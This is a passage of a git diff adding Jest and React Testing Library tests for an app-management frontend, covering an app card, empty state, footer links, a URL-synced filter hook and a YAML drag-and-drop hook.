+        expect(screen.getByTestId('dsl-export-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should check for secret environment variables in advanced chat apps', async () => {
+      const advancedChatApp = { ...mockApp, mode: AppModeEnum.ADVANCED_CHAT }
+      render(<AppCard app={advancedChatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(workflowService.fetchWorkflowDraft).toHaveBeenCalled()
+      })
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty description', () => {
+      const appNoDesc = { ...mockApp, description: '' }
+      render(<AppCard app={appNoDesc} />)
+      expect(screen.getByText('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle long app name', () => {
+      const longNameApp = {
+        ...mockApp,
+        name: 'This is a very long app name that might overflow the container',
+      }
+      render(<AppCard app={longNameApp} />)
+      expect(screen.getByText(longNameApp.name)).toBeInTheDocument()
+    })
+
+    it('should handle empty tags array', () => {
+      const noTagsApp = { ...mockApp, tags: [] }
+      // With empty tags, the component should still render successfully
+      render(<AppCard app={noTagsApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle missing author name', () => {
+      const noAuthorApp = { ...mockApp, author_name: '' }
+      render(<AppCard app={noAuthorApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle null icon_url', () => {
+      const nullIconApp = { ...mockApp, icon_url: null }
+      // With null icon_url, the component should fall back to emoji icon and render successfully
+      render(<AppCard app={nullIconApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should use created_at when updated_at is not available', () => {
+      const noUpdateApp = { ...mockApp, updated_at: 0 }
+      render(<AppCard app={noUpdateApp} />)
+      expect(screen.getByText(/edited/i)).toBeInTheDocument()
+    })
+
+    it('should handle agent chat mode apps', () => {
+      const agentApp = { ...mockApp, mode: AppModeEnum.AGENT_CHAT }
+      render(<AppCard app={agentApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle advanced chat mode apps', () => {
+      const advancedApp = { ...mockApp, mode: AppModeEnum.ADVANCED_CHAT }
+      render(<AppCard app={advancedApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle apps with multiple tags', () => {
+      const multiTagApp = {
+        ...mockApp,
+        tags: [
+          { id: 'tag1', name: 'Tag 1', type: 'app', binding_count: 0 },
+          { id: 'tag2', name: 'Tag 2', type: 'app', binding_count: 0 },
+          { id: 'tag3', name: 'Tag 3', type: 'app', binding_count: 0 },
+        ],
+      }
+      render(<AppCard app={multiTagApp} />)
+      // Verify the tag selector renders (actual tag display is handled by the real TagSelector component)
+      expect(screen.getByLabelText('tag-selector')).toBeInTheDocument()
+    })
+
+    it('should handle edit failure', async () => {
+      (appsService.updateAppInfo as jest.Mock).mockRejectedValueOnce(new Error('Edit failed'))
+
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.editApp'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-edit-modal'))
+
+      await waitFor(() => {
+        expect(appsService.updateAppInfo).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: expect.stringContaining('Edit failed') })
+      })
+    })
+
+    it('should close edit modal after successful edit', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.editApp'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-edit-modal'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should render all app modes correctly', () => {
+      const modes = [
+        AppModeEnum.CHAT,
+        AppModeEnum.COMPLETION,
+        AppModeEnum.WORKFLOW,
+        AppModeEnum.ADVANCED_CHAT,
+        AppModeEnum.AGENT_CHAT,
+      ]
+
+      modes.forEach((mode) => {
+        const testApp = { ...mockApp, mode }
+        const { unmount } = render(<AppCard app={testApp} />)
+        expect(screen.getByTitle('Test App')).toBeInTheDocument()
+        unmount()
+      })
+    })
+
+    it('should handle workflow draft fetch failure during export', async () => {
+      (workflowService.fetchWorkflowDraft as jest.Mock).mockRejectedValueOnce(new Error('Fetch failed'))
+
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(workflowService.fetchWorkflowDraft).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: 'app.exportFailed' })
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Additional Edge Cases for Coverage
+  // --------------------------------------------------------------------------
+  describe('Additional Coverage', () => {
+    it('should handle onRefresh callback in switch modal success', async () => {
+      const chatApp = createMockApp({ mode: AppModeEnum.CHAT })
+      render(<AppCard app={chatApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+
+      // Trigger success callback
+      fireEvent.click(screen.getByTestId('confirm-switch-modal'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should render popover menu with correct styling for different app modes', async () => {
+      // Test completion mode styling
+      const completionApp = createMockApp({ mode: AppModeEnum.COMPLETION })
+      const { unmount } = render(<AppCard app={completionApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+      })
+
+      unmount()
+
+      // Test workflow mode styling
+      const workflowApp = createMockApp({ mode: AppModeEnum.WORKFLOW })
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+      })
+    })
+
+    it('should stop propagation when clicking tag selector area', () => {
+      const multiTagApp = createMockApp({
+        tags: [{ id: 'tag1', name: 'Tag 1', type: 'app', binding_count: 0 }],
+      })
+
+      render(<AppCard app={multiTagApp} />)
+
+      const tagSelector = screen.getByLabelText('tag-selector')
+      expect(tagSelector).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/empty.spec.tsx b/web/app/components/apps/empty.spec.tsx
new file mode 100644
index 0000000000..8e7680958c
--- /dev/null
+++ b/web/app/components/apps/empty.spec.tsx
@@ -0,0 +1,53 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Empty from './empty'
+
+describe('Empty', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<Empty />)
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+    })
+
+    it('should render 36 placeholder cards', () => {
+      const { container } = render(<Empty />)
+      const placeholderCards = container.querySelectorAll('.bg-background-default-lighter')
+      expect(placeholderCards).toHaveLength(36)
+    })
+
+    it('should display the no apps found message', () => {
+      render(<Empty />)
+      // Use pattern matching for resilient text assertions
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct container styling for overlay', () => {
+      const { container } = render(<Empty />)
+      const overlay = container.querySelector('.pointer-events-none')
+      expect(overlay).toBeInTheDocument()
+      expect(overlay).toHaveClass('absolute', 'inset-0', 'z-20')
+    })
+
+    it('should have correct styling for placeholder cards', () => {
+      const { container } = render(<Empty />)
+      const card = container.querySelector('.bg-background-default-lighter')
+      expect(card).toHaveClass('inline-flex', 'h-[160px]', 'rounded-xl')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple renders without issues', () => {
+      const { rerender } = render(<Empty />)
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+
+      rerender(<Empty />)
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/footer.spec.tsx b/web/app/components/apps/footer.spec.tsx
new file mode 100644
index 0000000000..291f15a5eb
--- /dev/null
+++ b/web/app/components/apps/footer.spec.tsx
@@ -0,0 +1,94 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Footer from './footer'
+
+describe('Footer', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<Footer />)
+      expect(screen.getByRole('contentinfo')).toBeInTheDocument()
+    })
+
+    it('should display the community heading', () => {
+      render(<Footer />)
+      // Use pattern matching for resilient text assertions
+      expect(screen.getByText('app.join')).toBeInTheDocument()
+    })
+
+    it('should display the community intro text', () => {
+      render(<Footer />)
+      expect(screen.getByText('app.communityIntro')).toBeInTheDocument()
+    })
+  })
+
+  describe('Links', () => {
+    it('should render GitHub link with correct href', () => {
+      const { container } = render(<Footer />)
+      const githubLink = container.querySelector('a[href="https://github.com/langgenius/dify"]')
+      expect(githubLink).toBeInTheDocument()
+    })
+
+    it('should render Discord link with correct href', () => {
+      const { container } = render(<Footer />)
+      const discordLink = container.querySelector('a[href="https://discord.gg/FngNHpbcY7"]')
+      expect(discordLink).toBeInTheDocument()
+    })
+
+    it('should render Forum link with correct href', () => {
+      const { container } = render(<Footer />)
+      const forumLink = container.querySelector('a[href="https://forum.dify.ai"]')
+      expect(forumLink).toBeInTheDocument()
+    })
+
+    it('should have 3 community links', () => {
+      render(<Footer />)
+      const links = screen.getAllByRole('link')
+      expect(links).toHaveLength(3)
+    })
+
+    it('should open links in new tab', () => {
+      render(<Footer />)
+      const links = screen.getAllByRole('link')
+      links.forEach((link) => {
+        expect(link).toHaveAttribute('target', '_blank')
+        expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+      })
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct footer styling', () => {
+      render(<Footer />)
+      const footer = screen.getByRole('contentinfo')
+      expect(footer).toHaveClass('relative', 'shrink-0', 'grow-0')
+    })
+
+    it('should have gradient text styling on heading', () => {
+      render(<Footer />)
+      const heading = screen.getByText('app.join')
+      expect(heading).toHaveClass('text-gradient')
+    })
+  })
+
+  describe('Icons', () => {
+    it('should render icons within links', () => {
+      const { container } = render(<Footer />)
+      const svgElements = container.querySelectorAll('svg')
+      expect(svgElements.length).toBeGreaterThanOrEqual(3)
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple renders without issues', () => {
+      const { rerender } = render(<Footer />)
+      expect(screen.getByRole('contentinfo')).toBeInTheDocument()
+
+      rerender(<Footer />)
+      expect(screen.getByRole('contentinfo')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/hooks/use-apps-query-state.spec.ts b/web/app/components/apps/hooks/use-apps-query-state.spec.ts
new file mode 100644
index 0000000000..73386e5029
--- /dev/null
+++ b/web/app/components/apps/hooks/use-apps-query-state.spec.ts
@@ -0,0 +1,363 @@
+/**
+ * Test suite for useAppsQueryState hook
+ *
+ * This hook manages app filtering state through URL search parameters, enabling:
+ * - Bookmarkable filter states (users can share URLs with specific filters active)
+ * - Browser history integration (back/forward buttons work with filters)
+ * - Multiple filter types: tagIDs, keywords, isCreatedByMe
+ *
+ * The hook syncs local filter state with URL search parameters, making filter
+ * navigation persistent and shareable across sessions.
+ */
+import { act, renderHook } from '@testing-library/react'
+
+// Mock Next.js navigation hooks
+const mockPush = jest.fn()
+const mockPathname = '/apps'
+let mockSearchParams = new URLSearchParams()
+
+jest.mock('next/navigation', () => ({
+  usePathname: jest.fn(() => mockPathname),
+  useRouter: jest.fn(() => ({
+    push: mockPush,
+  })),
+  useSearchParams: jest.fn(() => mockSearchParams),
+}))
+
+// Import the hook after mocks are set up
+import useAppsQueryState from './use-apps-query-state'
+
+describe('useAppsQueryState', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockSearchParams = new URLSearchParams()
+  })
+
+  describe('Basic functionality', () => {
+    it('should return query object and setQuery function', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query).toBeDefined()
+      expect(typeof result.current.setQuery).toBe('function')
+    })
+
+    it('should initialize with empty query when no search params exist', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toBeUndefined()
+      expect(result.current.query.keywords).toBeUndefined()
+      expect(result.current.query.isCreatedByMe).toBe(false)
+    })
+  })
+
+  describe('Parsing search params', () => {
+    it('should parse tagIDs from URL', () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2;tag3')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2', 'tag3'])
+    })
+
+    it('should parse single tagID from URL', () => {
+      mockSearchParams.set('tagIDs', 'single-tag')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual(['single-tag'])
+    })
+
+    it('should parse keywords from URL', () => {
+      mockSearchParams.set('keywords', 'search term')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.keywords).toBe('search term')
+    })
+
+    it('should parse isCreatedByMe as true from URL', () => {
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+
+    it('should parse isCreatedByMe as false for other values', () => {
+      mockSearchParams.set('isCreatedByMe', 'false')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.isCreatedByMe).toBe(false)
+    })
+
+    it('should parse all params together', () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2')
+      mockSearchParams.set('keywords', 'test')
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2'])
+      expect(result.current.query.keywords).toBe('test')
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+  })
+
+  describe('Updating query state', () => {
+    it('should update keywords via setQuery', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'new search' })
+      })
+
+      expect(result.current.query.keywords).toBe('new search')
+    })
+
+    it('should update tagIDs via setQuery', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: ['tag1', 'tag2'] })
+      })
+
+      expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2'])
+    })
+
+    it('should update isCreatedByMe via setQuery', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ isCreatedByMe: true })
+      })
+
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+
+    it('should support partial updates via callback', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'initial' })
+      })
+
+      act(() => {
+        result.current.setQuery(prev => ({ ...prev, isCreatedByMe: true }))
+      })
+
+      expect(result.current.query.keywords).toBe('initial')
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+  })
+
+  describe('URL synchronization', () => {
+    it('should sync keywords to URL', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'search' })
+      })
+
+      // Wait for useEffect to run
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalledWith(
+        expect.stringContaining('keywords=search'),
+        { scroll: false },
+      )
+    })
+
+    it('should sync tagIDs to URL with semicolon separator', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: ['tag1', 'tag2'] })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalledWith(
+        expect.stringContaining('tagIDs=tag1%3Btag2'),
+        { scroll: false },
+      )
+    })
+
+    it('should sync isCreatedByMe to URL', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ isCreatedByMe: true })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalledWith(
+        expect.stringContaining('isCreatedByMe=true'),
+        { scroll: false },
+      )
+    })
+
+    it('should remove keywords from URL when empty', async () => {
+      mockSearchParams.set('keywords', 'existing')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: '' })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      // Should be called without keywords param
+      expect(mockPush).toHaveBeenCalled()
+    })
+
+    it('should remove tagIDs from URL when empty array', async () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: [] })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalled()
+    })
+
+    it('should remove isCreatedByMe from URL when false', async () => {
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ isCreatedByMe: false })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalled()
+    })
+  })
+
+  describe('Edge cases', () => {
+    it('should handle empty tagIDs string in URL', () => {
+      // NOTE: This test documents current behavior where ''.split(';') returns ['']
+      // This could potentially cause filtering issues as it's treated as a tag with empty name
+      // rather than absence of tags. Consider updating parseParams if this is problematic.
+      mockSearchParams.set('tagIDs', '')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual([''])
+    })
+
+    it('should handle empty keywords', () => {
+      mockSearchParams.set('keywords', '')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.keywords).toBeUndefined()
+    })
+
+    it('should handle undefined tagIDs', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: undefined })
+      })
+
+      expect(result.current.query.tagIDs).toBeUndefined()
+    })
+
+    it('should handle special characters in keywords', () => {
+      // Use URLSearchParams constructor to properly simulate URL decoding behavior
+      // URLSearchParams.get() decodes URL-encoded characters
+      mockSearchParams = new URLSearchParams('keywords=test%20with%20spaces')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.keywords).toBe('test with spaces')
+    })
+  })
+
+  describe('Memoization', () => {
+    it('should return memoized object reference when query unchanged', () => {
+      const { result, rerender } = renderHook(() => useAppsQueryState())
+
+      const firstResult = result.current
+      rerender()
+      const secondResult = result.current
+
+      expect(firstResult.query).toBe(secondResult.query)
+    })
+
+    it('should return new object reference when query changes', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      const firstQuery = result.current.query
+
+      act(() => {
+        result.current.setQuery({ keywords: 'changed' })
+      })
+
+      expect(result.current.query).not.toBe(firstQuery)
+    })
+  })
+
+  describe('Integration scenarios', () => {
+    it('should handle sequential updates', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'first' })
+      })
+
+      act(() => {
+        result.current.setQuery(prev => ({ ...prev, tagIDs: ['tag1'] }))
+      })
+
+      act(() => {
+        result.current.setQuery(prev => ({ ...prev, isCreatedByMe: true }))
+      })
+
+      expect(result.current.query.keywords).toBe('first')
+      expect(result.current.query.tagIDs).toEqual(['tag1'])
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+
+    it('should clear all filters', () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2')
+      mockSearchParams.set('keywords', 'search')
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({
+          tagIDs: undefined,
+          keywords: undefined,
+          isCreatedByMe: false,
+        })
+      })
+
+      expect(result.current.query.tagIDs).toBeUndefined()
+      expect(result.current.query.keywords).toBeUndefined()
+      expect(result.current.query.isCreatedByMe).toBe(false)
+    })
+  })
+})
diff --git a/web/app/components/apps/hooks/use-dsl-drag-drop.spec.ts b/web/app/components/apps/hooks/use-dsl-drag-drop.spec.ts
new file mode 100644
index 0000000000..ab04127b19
--- /dev/null
+++ b/web/app/components/apps/hooks/use-dsl-drag-drop.spec.ts
@@ -0,0 +1,493 @@
+/**
+ * Test suite for useDSLDragDrop hook
+ *
+ * This hook provides drag-and-drop functionality for DSL files, enabling:
+ * - File drag detection with visual feedback (dragging state)
+ * - YAML/YML file filtering (only accepts .yaml and .yml files)
+ * - Enable/disable toggle for conditional drag-and-drop
+ * - Cleanup on unmount (removes event listeners)
+ */
+import { act, renderHook } from '@testing-library/react'
+import { useDSLDragDrop } from './use-dsl-drag-drop'
+
+describe('useDSLDragDrop', () => {
+  let container: HTMLDivElement
+  let mockOnDSLFileDropped: jest.Mock
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    container = document.createElement('div')
+    document.body.appendChild(container)
+    mockOnDSLFileDropped = jest.fn()
+  })
+
+  afterEach(() => {
+    document.body.removeChild(container)
+  })
+
+  // Helper to create drag events
+  const createDragEvent = (type: string, files: File[] = []) => {
+    const dataTransfer = {
+      types: files.length > 0 ? ['Files'] : [],
+      files,
+    }
+
+    const event = new Event(type, { bubbles: true, cancelable: true }) as DragEvent
+    Object.defineProperty(event, 'dataTransfer', {
+      value: dataTransfer,
+      writable: false,
+    })
+    Object.defineProperty(event, 'preventDefault', {
+      value: jest.fn(),
+      writable: false,
+    })
+    Object.defineProperty(event, 'stopPropagation', {
+      value: jest.fn(),
+      writable: false,
+    })
+
+    return event
+  }
+
+  // Helper to create a mock file
+  const createMockFile = (name: string) => {
+    return new File(['content'], name, { type: 'application/x-yaml' })
+  }
+
+  describe('Basic functionality', () => {
+    it('should return dragging state', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should initialize with dragging as false', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      expect(result.current.dragging).toBe(false)
+    })
+  })
+
+  describe('Drag events', () => {
+    it('should set dragging to true on dragenter with files', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.yaml')
+      const event = createDragEvent('dragenter', [file])
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(result.current.dragging).toBe(true)
+    })
+
+    it('should not set dragging on dragenter without files', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const event = createDragEvent('dragenter', [])
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should handle dragover event', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const event = createDragEvent('dragover')
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(event.preventDefault).toHaveBeenCalled()
+      expect(event.stopPropagation).toHaveBeenCalled()
+    })
+
+    it('should set dragging to false on dragleave when leaving container', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      // First, enter with files
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Then leave with null relatedTarget (leaving container)
+      const leaveEvent = createDragEvent('dragleave')
+      Object.defineProperty(leaveEvent, 'relatedTarget', {
+        value: null,
+        writable: false,
+      })
+
+      act(() => {
+        container.dispatchEvent(leaveEvent)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should not set dragging to false on dragleave when within container', () => {
+      const containerRef = { current: container }
+      const childElement = document.createElement('div')
+      container.appendChild(childElement)
+
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      // First, enter with files
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Then leave but to a child element
+      const leaveEvent = createDragEvent('dragleave')
+      Object.defineProperty(leaveEvent, 'relatedTarget', {
+        value: childElement,
+        writable: false,
+      })
+
+      act(() => {
+        container.dispatchEvent(leaveEvent)
+      })
+
+      expect(result.current.dragging).toBe(true)
+
+      container.removeChild(childElement)
+    })
+  })
+
+  describe('Drop functionality', () => {
+    it('should call onDSLFileDropped for .yaml file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.yaml')
+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
+    })
+
+    it('should call onDSLFileDropped for .yml file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.yml')
+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
+    })
+
+    it('should call onDSLFileDropped for uppercase .YAML file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.YAML')
+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
+    })
+
+    it('should not call onDSLFileDropped for non-yaml file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.json')
+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
+    })
+
+    it('should set dragging to false on drop', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      // First, enter with files
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Then drop
+      const dropEvent = createDragEvent('drop', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should handle drop with no dataTransfer', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const event = new Event('drop', { bubbles: true, cancelable: true }) as DragEvent
+      Object.defineProperty(event, 'dataTransfer', {
+        value: null,
+        writable: false,
+      })
+      Object.defineProperty(event, 'preventDefault', {
+        value: jest.fn(),
+        writable: false,
+      })
+      Object.defineProperty(event, 'stopPropagation', {
+        value: jest.fn(),
+        writable: false,
+      })
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
+    })
+
+    it('should handle drop with empty files array', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const dropEvent = createDragEvent('drop', [])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
+    })
+
+    it('should only process the first file when multiple files are dropped', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
